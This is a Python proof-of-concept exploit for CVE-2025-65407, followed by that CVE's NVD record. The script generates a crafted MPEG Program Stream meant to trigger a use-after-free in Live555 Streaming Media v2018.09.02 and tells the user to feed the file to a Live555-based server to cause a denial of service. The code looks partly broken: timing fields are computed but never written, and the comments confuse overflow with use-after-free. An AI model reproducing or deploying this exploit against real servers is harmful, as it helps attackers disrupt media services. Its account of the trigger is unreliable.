CVE-2025-65407

#!/usr/bin/env python3 """ CVE-2025-65407 PoC - Live555 MPEG1or2Demux Use-after-Free This PoC generates a crafted MPEG Program Stream that triggers use-after-free in Live555's MPEG1or2Demux::newElementaryStream() """ import struct import sys def create_crafted_mpeg_ps(): """Generate a malicious MPEG Program Stream""" # Pack Header - Program Stream pack pack_header = bytearray() pack_start_code = 0x000001BA # Pack start code pack_header.extend(struct.pack('>I', pack_start_code)) # System clock reference (SCR) - manipulated for trigger scr = 0x0000000000 # Simplified SCR scr_base = (scr >> 30) & 0x7FFFFFFF scr_extension = scr & 0x1FF # Pack stuffing - trigger condition stuffing = b'\x00' * 16 # Padding to reach vulnerable code path # System header - Program Stream system header system_header = bytearray() system_header_start = 0x000001BB # System header start code system_header.extend(struct.pack('>I', system_header_start)) header_length = 12 system_header.extend(struct.pack('>H', header_length)) # Rate bound and audio/video bounds - crafted values system_header.extend(struct.pack('>I', 0x0000FFFF)) # Rate bound system_header.extend(b'\xC0\x00') # Fixed flags system_header.extend(struct.pack('>H', 0xFFFF)) # Audio bounds system_header.extend(struct.pack('>H', 0xFFFF)) # Video bounds # PES packet - triggers newElementaryStream() pes_header = bytearray() pes_start = 0x000001E0 # Video stream ID pes_header.extend(struct.pack('>I', pes_start)) # PES packet length - causes buffer overflow in stream handling pes_length = 0xFFFF pes_header.extend(struct.pack('>H', pes_length)) # Crafted PES header to trigger use-after-free # PTS (Presentation Time Stamp) manipulation pts = 0x2000000000 # Invalid PTS causing memory corruption pts_bytes = bytes([ 0x21, # PTS_DTS flags ((pts >> 30) & 0x0E) | 0x21, ((pts >> 22) & 0xFF), ((pts >> 14) & 0xFE) | 0x01, ((pts >> 7) & 0xFF), ((pts << 1) & 0xFE) | 0x01 ]) pes_header.extend(pts_bytes) # Padding data to trigger stream cleanup payload = b'\xFF' * 1024 # Padding bytes # Combine all parts malicious_ps = bytes(pack_header) + stuffing + bytes(system_header) + bytes(pes_header) + payload return malicious_ps def main(): print("[*] CVE-2025-65407 PoC Generator") print("[*] Target: Live555 Streaming Media v2018.09.02") print("[*] Vulnerability: Use-after-free in MPEG1or2Demux::newElementaryStream()") # Generate the malicious MPEG Program Stream malicious_data = create_crafted_mpeg_ps() # Save to file output_file = "CVE-2025-65407.mpg" with open(output_file, 'wb') as f: f.write(malicious_data) print(f"[+] Generated malicious MPEG PS: {output_file}") print(f"[+] File size: {len(malicious_data)} bytes") print("[+] Usage: Feed this file to a Live555-based media server") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-65407", "sourceIdentifier": "[email protected]", "published": "2025-12-01T19:15:52.417", "lastModified": "2025-12-23T13:14:41.630", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A use-after-free in the MPEG1or2Demux::newElementaryStream() function of Live555 Streaming Media v2018.09.02 allows attackers to cause a Denial of Service (DoS) via supplying a crafted MPEG Program stream."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:live555:streaming_media:2018-09-02:*:*:*:*:*:*:*", "matchCriteriaId": "C9F01989-4E5A-42B7-8EF7-74E3A5335754"}]}]}], "references": [{"url": "https://github.com/rgaufman/live555", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://shimo.im/docs/VMAPLVLpzZcZvoAg", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}